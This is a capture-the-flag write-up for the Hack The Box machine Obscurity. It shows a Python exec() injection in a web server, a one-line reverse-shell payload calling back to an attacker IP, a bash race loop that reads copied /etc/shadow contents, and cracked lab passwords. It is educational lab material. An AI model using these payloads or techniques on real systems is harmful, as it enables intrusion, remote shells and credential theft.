Hack The Box - Obscurity

This is my writeup and walkthrough for Obscurity from Hack The Box.

May 9, 2020 - 22 minute read -
Security Hack-The-Box Machines SSH Root Pentesting Python Hacking Nmap

Obscurity

A medium linux machine with some vulnerable Python scripts from HTB just retired with the following:

  • Misconfigured vulnerable Python web server to RCE.
  • Weak encryption algorithm to sign two messages, some text and the user password file.
  • Vulnerable script to get the root password hash from the shadow file.

Enumeration

1. Nmap

As always let’s add 10.10.10.168 to our /etc/hosts file as obscure.htb and start scan the host with nmap to see the open ports and services running on the machine:

y4mm1@kali:~$ nmap -sC -sV -oN initial.nmap obscure.htb
# Nmap 7.80 scan initiated Tue Feb 11 02:43:04 2020 as: nmap -sC -sV -sT -oN initial.nmap obscure.htb
Nmap scan report for obscure.htb (10.10.10.168)
Host is up (0.084s latency).
Not shown: 996 filtered ports
PORT     STATE  SERVICE    VERSION
22/tcp   open   ssh        OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   2048 33:d3:9a:0d:97:2c:54:20:e1:b0:17:34:f4:ca:70:1b (RSA)
|   256 f6:8b:d5:73:97:be:52:cb:12:ea:8b:02:7c:34:a3:d7 (ECDSA)
|_  256 e8:df:55:78:76:85:4b:7b:dc:70:6a:fc:40:cc:ac:9b (ED25519)
80/tcp   closed http
8080/tcp open   http-proxy BadHTTPServer
| fingerprint-strings: 
|   GetRequest, HTTPOptions: 
|     HTTP/1.1 200 OK
|     Date: Tue, 11 Feb 2020 00:43:17
|     Server: BadHTTPServer
|     Last-Modified: Tue, 11 Feb 2020 00:43:17
|     Content-Length: 4171
|     Content-Type: text/html
|     Connection: Closed
|     <!DOCTYPE html>
|     <html lang="en">
|     <head>
|     <meta charset="utf-8">
|     <title>0bscura</title>
|     <meta http-equiv="X-UA-Compatible" content="IE=Edge">
|     <meta name="viewport" content="width=device-width, initial-scale=1">
|     <meta name="keywords" content="">
|     <meta name="description" content="">
|     <!-- 
|     Easy Profile Template
|     http://www.templatemo.com/tm-467-easy-profile
|     <!-- stylesheet css -->
|     <link rel="stylesheet" href="css/bootstrap.min.css">
|     <link rel="stylesheet" href="css/font-awesome.min.css">
|     <link rel="stylesheet" href="css/templatemo-blue.css">
|     </head>
|     <body data-spy="scroll" data-target=".navbar-collapse">
|     <!-- preloader section -->
|     <!--
|     <div class="preloader">
|_    <div class="sk-spinner sk-spinner-wordpress">
|_http-server-header: BadHTTPServer
|_http-title: 0bscura
9000/tcp closed cslistener
1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at https://nmap.org/cgi-bin/submit.cgi?new-service :
SF-Port8080-TCP:V=7.80%I=7%D=2/11%Time=5E41F8A5%P=x86_64-pc-linux-gnu%r(Ge
SF:tRequest,10FC,"HTTP/1\.1\x20200\x20OK\nDate:\x20Tue,\x2011\x20Feb\x2020
SF:20\x2000:43:17\nServer:\x20BadHTTPServer\nLast-Modified:\x20Tue,\x2011\
SF:x20Feb\x202020\x2000:43:17\nContent-Length:\x204171\nContent-Type:\x20t
SF:ext/html\nConnection:\x20Closed\n\n<!DOCTYPE\x20html>\n<html\x20lang=\"
SF:en\">\n<head>\n\t<meta\x20charset=\"utf-8\">\n\t<title>0bscura</title>\
SF:n\t<meta\x20http-equiv=\"X-UA-Compatible\"\x20content=\"IE=Edge\">\n\t<
SF:meta\x20name=\"viewport\"\x20content=\"width=device-width,\x20initial-s
SF:cale=1\">\n\t<meta\x20name=\"keywords\"\x20content=\"\">\n\t<meta\x20na
SF:me=\"description\"\x20content=\"\">\n<!--\x20\nEasy\x20Profile\x20Templ
SF:ate\nhttp://www\.templatemo\.com/tm-467-easy-profile\n-->\n\t<!--\x20st
SF:ylesheet\x20css\x20-->\n\t<link\x20rel=\"stylesheet\"\x20href=\"css/boo
SF:tstrap\.min\.css\">\n\t<link\x20rel=\"stylesheet\"\x20href=\"css/font-a
SF:wesome\.min\.css\">\n\t<link\x20rel=\"stylesheet\"\x20href=\"css/templa
SF:temo-blue\.css\">\n</head>\n<body\x20data-spy=\"scroll\"\x20data-target
SF:=\"\.navbar-collapse\">\n\n<!--\x20preloader\x20section\x20-->\n<!--\n<
SF:div\x20class=\"preloader\">\n\t<div\x20class=\"sk-spinner\x20sk-spinner
SF:-wordpress\">\n")%r(HTTPOptions,10FC,"HTTP/1\.1\x20200\x20OK\nDate:\x20
SF:Tue,\x2011\x20Feb\x202020\x2000:43:17\nServer:\x20BadHTTPServer\nLast-M
SF:odified:\x20Tue,\x2011\x20Feb\x202020\x2000:43:17\nContent-Length:\x204
SF:171\nContent-Type:\x20text/html\nConnection:\x20Closed\n\n<!DOCTYPE\x20
SF:html>\n<html\x20lang=\"en\">\n<head>\n\t<meta\x20charset=\"utf-8\">\n\t
SF:<title>0bscura</title>\n\t<meta\x20http-equiv=\"X-UA-Compatible\"\x20co
SF:ntent=\"IE=Edge\">\n\t<meta\x20name=\"viewport\"\x20content=\"width=dev
SF:ice-width,\x20initial-scale=1\">\n\t<meta\x20name=\"keywords\"\x20conte
SF:nt=\"\">\n\t<meta\x20name=\"description\"\x20content=\"\">\n<!--\x20\nE
SF:asy\x20Profile\x20Template\nhttp://www\.templatemo\.com/tm-467-easy-pro
SF:file\n-->\n\t<!--\x20stylesheet\x20css\x20-->\n\t<link\x20rel=\"stylesh
SF:eet\"\x20href=\"css/bootstrap\.min\.css\">\n\t<link\x20rel=\"stylesheet
SF:\"\x20href=\"css/font-awesome\.min\.css\">\n\t<link\x20rel=\"stylesheet
SF:\"\x20href=\"css/templatemo-blue\.css\">\n</head>\n<body\x20data-spy=\"
SF:scroll\"\x20data-target=\"\.navbar-collapse\">\n\n<!--\x20preloader\x20
SF:section\x20-->\n<!--\n<div\x20class=\"preloader\">\n\t<div\x20class=\"s
SF:k-spinner\x20sk-spinner-wordpress\">\n");
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Tue Feb 11 02:43:27 2020 -- 1 IP address (1 host up) scanned in 23.09 seconds

As we see there are 4 ports two of them are open 22 running OpenSSH 7.6p1 and it tells us the OS version is Ubuntu, and 8080 running a http-proxy called BadHTTPServer with some successful request headers, so let’s jumb into the browser to see what is it.

2. Web Recon

Obscurity

It looks like a simple web page with some text and I noticed there is some contact info and an interesting message at the bottom of the page.

Obscurity

The message tells us there is some secret development directory that contains the source code of the running server SuperSecureServer.py, so first thing came to my mind is to run any directory brutceforcing tools like gobuster.

But this did not work, so I can remember from my experience in software development the main source code is usually in some sort of well known folders like /src, /app, /bin …etc, and as we saw from the message above a lot of development word. I tried some of sub-words of that name with the file and it worked with /develop/SuperSecureServer.py.

Obscurity

Let’s download the file and see how the server source code loo like.

import socket
import threading
from datetime import datetime
import sys
import os
import mimetypes
import urllib.parse
import subprocess

respTemplate = """HTTP/1.1 {statusNum} {statusCode}
Date: {dateSent}
Server: {server}
Last-Modified: {modified}
Content-Length: {length}
Content-Type: {contentType}
Connection: {connectionType}

{body}
"""
DOC_ROOT = "DocRoot"

CODES = {"200": "OK",
        "304": "NOT MODIFIED",
        "400": "BAD REQUEST", "401": "UNAUTHORIZED", "403": "FORBIDDEN", "404": "NOT FOUND",
        "500": "INTERNAL SERVER ERROR"}

MIMES = {"txt": "text/plain", "css":"text/css", "html":"text/html", "png": "image/png", "jpg":"image/jpg",
        "ttf":"application/octet-stream","otf":"application/octet-stream", "woff":"font/woff", "woff2": "font/woff2",
        "js":"application/javascript","gz":"application/zip", "py":"text/plain", "map": "application/octet-stream"}

class Response:
    def __init__(self, **kwargs):
        self.__dict__.update(kwargs)
        now = datetime.now()
        self.dateSent = self.modified = now.strftime("%a, %d %b %Y %H:%M:%S")
    def stringResponse(self):
        return respTemplate.format(**self.__dict__)

class Request:
    def __init__(self, request):
        self.good = True
        try:
            request = self.parseRequest(request)
            self.method = request["method"]
            self.doc = request["doc"]
            self.vers = request["vers"]
            self.header = request["header"]
            self.body = request["body"]
        except:
            self.good = False

    def parseRequest(self, request):
        req = request.strip("\r").split("\n")
        method,doc,vers = req[0].split(" ")
        header = req[1:-3]
        body = req[-1]
        headerDict = {}
        for param in header:
            pos = param.find(": ")
            key, val = param[:pos], param[pos+2:]
            headerDict.update({key: val})
        return {"method": method, "doc": doc, "vers": vers, "header": headerDict, "body": body}

class Server:
    def __init__(self, host, port):
        self.host = host
        self.port = port
        self.sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        self.sock.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
        self.sock.bind((self.host, self.port))

    def listen(self):
        self.sock.listen(5)
        while True:
            client, address = self.sock.accept()
            client.settimeout(60)
            threading.Thread(target = self.listenToClient,args = (client,address)).start()

    def listenToClient(self, client, address):
        size = 1024
        while True:
            try:
                data = client.recv(size)
                if data:
                    # Set the response to echo back the recieved data
                    req = Request(data.decode())
                    self.handleRequest(req, client, address)
                    client.shutdown()
                    client.close()
                else:
                    raise error('Client disconnected')
            except:
                client.close()
                return False

    def handleRequest(self, request, conn, address):
        if request.good:
            try:
                print(str(request.method) + " " + str(request.doc), end=' ')
                print("from {0}".format(address[0]))
            except Exception as e:
                print(e)
            document = self.serveDoc(request.doc, DOC_ROOT)
            statusNum = document["status"]
        else:
            document = self.serveDoc("/errors/400.html", DOC_ROOT)
            statusNum = "400"
        body = document["body"]

        statusCode=CODES[statusNum]
        dateSent = ""
        server = "BadHTTPServer"
        modified = ""
        length = len(body)
        contentType = document["mime"] # Try and identify MIME type from string
        connectionType = "Closed"


        resp = Response(
        statusNum = statusNum, statusCode=statusCode,
        dateSent = dateSent, server = server,
        modified = modified, length = length,
        contentType = contentType, connectionType = connectionType,
        body = body
        )

        data = resp.stringResponse()
        if not data:
            return -1
        conn.send(data.encode())
        return 0

    def serveDoc(self, path, docRoot):
        path = urllib.parse.unquote(path)
        try:
            info = "output = 'Document: {}'" # Keep the output for later debug
            exec(info.format(path)) # This is how you do string formatting, right?
            print('\n' + info.format(path)+ '\n==\n')
            cwd = os.path.dirname(os.path.realpath(__file__))
            docRoot = os.path.join(cwd, docRoot)
            if path == "/":
                path = "/index.html"
            requested = os.path.join(docRoot, path[1:])
            if os.path.isfile(requested):
                mime = mimetypes.guess_type(requested)
                mime = (mime if mime[0] != None else "text/html")
                mime = MIMES[requested.split(".")[-1]]
                try:
                    with open(requested, "r") as f:
                        data = f.read()
                except:
                    with open(requested, "rb") as f:
                        data = f.read()
                status = "200"
            else:
                errorPage = os.path.join(docRoot, "errors", "404.html")
                mime = "text/html"
                with open(errorPage, "r") as f:
                    data = f.read().format(path)
                status = "404"
        except Exception as e:
            print(e)
            errorPage = os.path.join(docRoot, "errors", "500.html")
            mime = "text/html"
            with open(errorPage, "r") as f:
                data = f.read()
            status = "500"
        return {"body": data, "mime": mime, "status": status}

Simply, the given code contains three classes:

  1. Response class to handle parse the responses with the given data.
  2. Request class also to parse the incomming requests.
  3. Server class the actual listeining main server with some functions to handle the web requests and documents (pages).

After analysing the code, we noticed some interesting lines in Server class that may lead to get an RCE on the machine.

info = "output = 'Document: {}'" # Keep the output for later debug
exec(info.format(path)) # This is how you do string formatting, right?

The function serveDoc takes two inputs path from the web page and docRoot the documents root folder on the box. Then, the handleRequest function takes three arguments request the incoming request, conn the client connection object, and address the host and port of the client. After that it calls the serveDoc function with the request path and document folder DocRoot.

After the serveDoc function takes the inputs, URL decode the path and it calls exec function with output = 'Document: {path}'. And we know that we can control the path variable from the web page, so now first thing we should do is to test this in our machine to understand how it works then try it in the remote host.

Exploitation

I made two lines of code to connect to the server locally.

#!/usr/bin/env python3
from SuperSecureServer import Server
app = Server('localhost',9001)
app.listen()

Also let’s create some files (pages) to imitate the actual server. Now, we should bypass the special char ' then try to excute some commands. It’s ok if you stuck at this point for some time just to understand how to exploit it.

Firstly, let’s try some paths to test the server then jump into the exploit. In the exploit we can add a single quote and a semicolon to terminate the string, then add some Python code to execute and a hash to comment anything after that command as following ';print(5+5)#, so let’s encode it and send it with burp. I used Burp Suite to make the requests you can use any tool you want.

Obscurity

Oh! that’s cool it executed the print(5+5) and it prints 10 to the terminal. Now, let’s get some Python one line reverse shell, put it instead of print, and exploit the remote server.

Here’s our payload:

';import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.10.0.1",1337));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);#

And after executing the payload we gained a shell as www-data.

Obscurity

Privilege Escalation

1. Own User

In this part let’s dig deep into the system and search for any things that seem important to escalate our privilege. In the /home/robert folder there are some interesting readable files.

www-data@obscure:/home/robert$ ls -al
total 68
drwxr-xr-x 7 robert robert 4096 May  9 08:07 .
drwxr-xr-x 3 root   root   4096 Sep 24  2019 ..
lrwxrwxrwx 1 robert robert    9 Sep 28  2019 .bash_history -> /dev/null
-rw-r--r-- 1 robert robert  220 Apr  4  2018 .bash_logout
-rw-r--r-- 1 robert robert 3771 Apr  4  2018 .bashrc
drwxr-xr-x 2 root   root   4096 Dec  2 09:47 BetterSSH
drwx------ 2 robert robert 4096 Oct  3  2019 .cache
-rw-rw-r-- 1 robert robert   94 Sep 26  2019 check.txt
drwxr-x--- 3 robert robert 4096 Dec  2 09:53 .config
drwx------ 3 robert robert 4096 Oct  3  2019 .gnupg
drwxrwxr-x 3 robert robert 4096 Oct  3  2019 .local
-rw-rw-r-- 1 robert robert  185 Oct  4  2019 out.txt
-rw-rw-r-- 1 robert robert   27 Oct  4  2019 passwordreminder.txt
-rw-r--r-- 1 robert robert  807 Apr  4  2018 .profile
-rwxrwxr-x 1 robert robert 2514 Oct  4  2019 SuperSecureCrypt.py
-rwx------ 1 robert robert   33 Sep 25  2019 user.txt

After copying the files using netcat into our machine. The first file SuperSecureCrypt.py a simple Python encryption script to encrypt data with a given key.

#!/usr/bin/env python3
import sys
import argparse

def encrypt(text, key):
    keylen = len(key)
    keyPos = 0
    encrypted = ""
    for x in text:
        keyChr = key[keyPos]
        newChr = ord(x)
        newChr = chr((newChr + ord(keyChr)) % 255)
        encrypted += newChr
        keyPos += 1
        keyPos = keyPos % keylen
    return encrypted

def decrypt(text, key):
    keylen = len(key)
    keyPos = 0
    decrypted = ""
    for x in text:
        keyChr = key[keyPos]
        newChr = ord(x)
        newChr = chr((newChr - ord(keyChr)) % 255)
        decrypted += newChr
        keyPos += 1
        keyPos = keyPos % keylen
    return decrypted

parser = argparse.ArgumentParser(description='Encrypt with 0bscura\'s encryption algorithm')

parser.add_argument('-i',
                    metavar='InFile',
                    type=str,
                    help='The file to read',
                    required=False)

parser.add_argument('-o',
                    metavar='OutFile',
                    type=str,
                    help='Where to output the encrypted/decrypted file',
                    required=False)

parser.add_argument('-k',
                    metavar='Key',
                    type=str,
                    help='Key to use',
                    required=False)

parser.add_argument('-d', action='store_true', help='Decrypt mode')

args = parser.parse_args()

banner = "########################\n"
banner+= "#           BEGINNING          #\n"
banner+= "#    SUPER SECURE ENCRYPTOR    #\n"
banner+= "########################\n"
banner += "  #####################\n"
banner += "  #        FILE MODE         #\n"
banner += "  #####################"
print(banner)
if args.o == None or args.k == None or args.i == None:
    print("Missing args")
else:
    if args.d:
        print("Opening file {0}...".format(args.i))
        with open(args.i, 'r', encoding='UTF-8') as f:
            data = f.read()

        print("Decrypting...")
        decrypted = decrypt(data, args.k)

        print("Writing to {0}...".format(args.o))
        with open(args.o, 'w', encoding='UTF-8') as f:
            f.write(decrypted)
    else:
        print("Opening file {0}...".format(args.i))
        with open(args.i, 'r', encoding='UTF-8') as f:
            data = f.read()

        print("Encrypting...")
        encrypted = encrypt(data, args.k)

        print("Writing to {0}...".format(args.o))
        with open(args.o, 'w', encoding='UTF-8') as f:
            f.write(encrypted)

After looking at the code It’s just a simple ceaser cipher with a text key instead of a number.

The second file check.txt it’s a message that says:

Encrypting this file with your key should result in out.txt, make sure your key is correct! 

The file out.txt is the encryption of check.txt, so simply we can retrieve the key be decoding the encrypted data with the original text as a key. And after that, we can decrypt the passreminder.txt file to get the user password.

I made a simple script to decrypt the file anf get the user password:

#!/usr/bin/env python3
with open('out.txt', 'r') as f:
    out = f.read().strip()
with open('check.txt', 'r') as f:
    check = f.read().strip()
with open('passreminder.txt', 'r') as f:
    enc = f.read().strip()

def decrypt(text, key):
    keylen = len(key)
    keyPos = 0
    decrypted = ""
    for x in text:
        keyChr = key[keyPos]
        newChr = ord(x)
        newChr = chr((newChr - ord(keyChr)) % 255)
        decrypted += newChr
        keyPos += 1
        keyPos = keyPos % keylen
    return decrypted

key = decrypt(out, check)
print('[+] Key:',key)
password = decrypt(enc, key)
print('[+] Password:',password.strip())

After running the script we got some readable text and some garbage:

y4mm1@kali:~$ python3 crack.py 
[+] Key: alexandrovichalexandrovichalexandrovichalexandrovichalexandrovichalexandrovichalexandrovich<
[+] Password: SecThruObsFTW

And now we owned user robert:

www-data@obscure:/$ su robert
Password: SecThruObsFTW
robert@obscure:/$ cat ~/user.txt
e4493782

2. Own Root

After we got user there is another interesting readable file /home/robert/BetterSSH/BetterSSH.py owned by root.

#!/usr/bin/env python3
import sys
import random, string
import os
import time
import crypt
import traceback
import subprocess

path = ''.join(random.choices(string.ascii_letters + string.digits, k=8))
session = {"user": "", "authenticated": 0}
try:
    session['user'] = input("Enter username: ")
    passW = input("Enter password: ")

    with open('/etc/shadow', 'r') as f:
        data = f.readlines()
    data = [(p.split(":") if "$" in p else None) for p in data]
    passwords = []
    for x in data:
        if not x == None:
            passwords.append(x)

    passwordFile = '\n'.join(['\n'.join(p) for p in passwords])
    with open('/tmp/SSH/'+path, 'w') as f:
        f.write(passwordFile)
    time.sleep(.1)
    salt = ""
    realPass = ""
    for p in passwords:
        if p[0] == session['user']:
            salt, realPass = p[1].split('$')[2:]
            break

    if salt == "":
        print("Invalid user")
        os.remove('/tmp/SSH/'+path)
        sys.exit(0)
    salt = '$6$'+salt+'$'
    realPass = salt + realPass

    hash = crypt.crypt(passW, salt)

    if hash == realPass:
        print("Authed!")
        session['authenticated'] = 1
    else:
        print("Incorrect pass")
        os.remove('/tmp/SSH/'+path)
        sys.exit(0)
    os.remove(os.path.join('/tmp/SSH/',path))
except Exception as e:
    traceback.print_exc()
    sys.exit(0)

if session['authenticated'] == 1:
    while True:
        command = input(session['user'] + "@Obscure$ ")
        cmd = ['sudo', '-u',  session['user']]
        cmd.extend(command.split(" "))
        proc = subprocess.Popen(cmd, stdout=subprocess.PIPE, stderr=subprocess.PIPE)

        o,e = proc.communicate()
        print('Output: ' + o.decode('ascii'))
        print('Error: '  + e.decode('ascii')) if len(e.decode('ascii')) > 0 else print('')

The above script just mimics the SSH connection with the actual system users by reading the username and compare the password with the actual one in the /etc/shadow file. If it’s true it gives a shell to the user, if it’s not it aborts.

But, the deadly bug in the script is when it copies the contents of the shadow file into a random file in /tmp/SSH directory and sleep 0.1s, then delete it. That’s so nice, we can take advantage of that by trying to read the contents of the random file before the deletion process and copy it into our machine.

There are many ways to exploit this bug one of them is to use watch command, but I prefer to write some code, so let’s write some bash script to print the contents of the random file in the terminal.

#!/bin/bash
DIR='/tmp/SSH'
while :
do
    if ls -A $DIR/; then
        cat $DIR/*
    fi
done

Obscurity

And we got the root hash, let’s crack it with our friend john.

y4mm1@kali:~$ john root.hash 
Created directory: /root/.john
Using default input encoding: UTF-8
Loaded 1 password hash (sha512crypt, crypt(3) $6$ [SHA512 128/128 XOP 2x])
Cost 1 (iteration count) is 5000 for all loaded hashes
Will run 2 OpenMP threads
Proceeding with single, rules:Single
Press 'q' or Ctrl-C to abort, almost any other key for status
Warning: Only 2 candidates buffered for the current salt, minimum 8 needed for performance.
Warning: Only 6 candidates buffered for the current salt, minimum 8 needed for performance.
Warning: Only 4 candidates buffered for the current salt, minimum 8 needed for performance.
Warning: Only 5 candidates buffered for the current salt, minimum 8 needed for performance.
Warning: Only 3 candidates buffered for the current salt, minimum 8 needed for performance.
Warning: Only 5 candidates buffered for the current salt, minimum 8 needed for performance.
Warning: Only 7 candidates buffered for the current salt, minimum 8 needed for performance.
Almost done: Processing the remaining buffered candidate passwords, if any.
Proceeding with wordlist:/usr/share/john/password.lst, rules:Wordlist
mercedes         (root)
1g 0:00:00:01 DONE 2/3 (2020-05-09 14:42) 0.6535g/s 962.0p/s 962.0c/s 962.0C/s crystal..porter
Use the "--show" option to display all of the cracked passwords reliably
Session completed

And we owned root:

robert@obscure:~$ su root
Password: mercedes
root@obscure:/home/robert# id
uid=0(root) gid=0(root) groups=0(root)
root@obscure:/home/robert# cat ~/root.txt 
512fd442